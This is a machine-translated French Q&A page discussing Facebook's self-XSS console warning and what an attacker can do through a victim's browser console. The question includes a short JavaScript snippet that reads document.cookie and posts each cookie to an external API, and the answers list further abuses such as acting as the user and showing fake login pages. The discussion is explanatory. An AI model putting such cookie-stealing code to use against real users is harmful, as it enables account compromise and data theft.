web-dev-qa-db-fra.com

Avertissement de Facebook de self-xss

J'ai découvert récemment la console de mon navigateur sur Facebook et j'ai été accueilli avec le message suivant.

Arrêtez!

Il s'agit d'une fonctionnalité de navigateur destinée aux développeurs. Si quelqu'un vous a dit de copier et coller quelque chose ici pour activer une fonctionnalité Facebook ou "pirater" le compte de quelqu'un, c'est une arnaque et lui donnera accès à votre compte Facebook.

Voir https://www.facebook.com/selfxss pour plus d'informations.

Ma première pensée a été que c'était simplement une tuerie excessive, peut-être destinée à effrayer les gens d'Internet sans méfiance qui copieraient et colleraient aveuglément du javascript dans la console dans l'espoir de déverrouiller un bouton secret d'aversion.

Mais j'ai en fait réfléchi à la façon dont vous pourriez compromettre les données d'une session utilisateur à partir de la console Javascript.

J'ai pensé à un script en boucle sur le document.cookie variable et affichant toutes les données des cookies sur une API. Quelque chose de semblable au ci-dessous.

var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');

for(var i=0 ; i < cookies.length ; ++i) {
    var pair = cookies[i].trim().split('=');
    xhr.send(JSON.stringify({
        name: pair[0],
        value: pair[1]
    }));
}

Mais je crois comprendre que l'ajout de http-only signaler un cookie signifie qu'il n'est pas accessible par javascript ou côté client.

Alors, comment un attaquant pourrait-il vous faire compromettre votre compte Facebook uniquement par self-xss?

xssjavascriptcookiesinjectionself-xss
11
Luke

L'avertissement parle de "l'accès à votre compte Facebook", pas de contrôle complet.

Self-XSS fonctionne comme n'importe quel XSS. Bien que vous ne puissiez pas lire le cookie de session httpOnly, vous pouvez:

  • lire toutes les données disponibles pour l'utilisateur attaqué (messages, groupes secrets, infos de profil, etc.)
  • envoyer des requêtes arbitraires au nom de l'utilisateur attaqué (envoyer des messages, créer des articles, etc.)
  • afficher des données arbitraires à l'utilisateur attaqué (faux messages ou publications, attaquants de phishing, etc.)
5
tim

Citant directement d'après la réponse d'Abe Miessler :

"Les attaques de script intersite (XSS) se produisent lorsqu'un attaquant utilise une application Web pour envoyer du code malveillant, généralement sous la forme d'un script côté navigateur, à un utilisateur final différent."

Je voudrais souligner la dernière partie de cette définition: "... à un utilisateur final différent."

Dans mon esprit, pour être considéré comme une attaque XSS, vous devez soumettre une demande à un site Web et demander à ce site de répondre avec le contenu malveillant. Les façons dont cela peut se produire sont généralement divisées en deux méthodes différentes:

Lorsque vous convainquez votre victime de saisir aveuglément du texte dans sa console de navigateur, vous lui demandez essentiellement d'exécuter directement des scripts Javascript sur sa page. Ce n'est pas techniquement XSS, mais en laissant de côté la sémantique, il y a d'autres choses malveillantes que vous pourriez faire avec les capacités complètes d'exécution de script pour une victime:

  • Créez une fausse page de connexion ou ajoutez vos propres ressources (ou superpositions).

  • Soumettre des articles, exécuter d'autres actions sur leur page (comme aimer des articles, soumettre des images, peu importe)

Comme vous l'avez déjà dit, la définition de l'indicateur http-only sur un cookie empêche son accès via la console, mais ce n'est pas le seul vecteur d'attaque disponible une fois que vous disposez des droits d'exécution de code.

1
thel3l